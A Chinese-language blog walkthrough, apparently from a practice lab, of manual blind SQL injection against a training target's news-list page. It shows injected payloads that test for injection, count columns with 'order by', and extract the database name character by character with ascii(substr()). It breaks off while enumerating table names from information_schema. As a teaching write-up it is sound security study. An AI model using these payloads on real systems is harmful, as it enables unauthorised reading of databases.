sql盲注流程

一、判断是否存在sql注入

二、判断字段数

三、利用substr函数与ascii函数

将需要判断的内容进行ascii转码

然后对照ascii表,得到内容信息

 

解题详细:手工盲注与sqlmap

(方法一)手工盲注

 

1.打开靶场http://xxx:43922/

 

点击登录框下面的通知

进入http://xxx:43922/new_list.php?id=1

 

2.判断此处存在sql注入

构造and 1=1正常

构造and 1=2不正常

 

3.判断字段数

构造order by 4正常

构造order by 5不正常

 

4.判断database()的长度

构造and length(database())>1正常

构造and length(database())>9正常

构造and length(database())>10不正常

构造and length(database())=10正常

 

5.截取database()的字符,一个个进行ascii编码,然后对照ascii表得出database()

构造and (ascii(substr(database(),1,1))>1)正常

构造and (ascii(substr(database(),1,1))=115)正常

构造and (ascii(substr(database(),2,1))=116)正常

......

结果为:115;116;111;114;109;103;114;111;117;112

对照ascii表:stormgroup为数据库名

 

6.截取database()中第一个table的字符,一个个进行ascii编码,然后对照ascii表得出table

 

第一个表:member

构造and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1)正常

构造and (ascii(substr((select table_name from information_schema.tabl

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值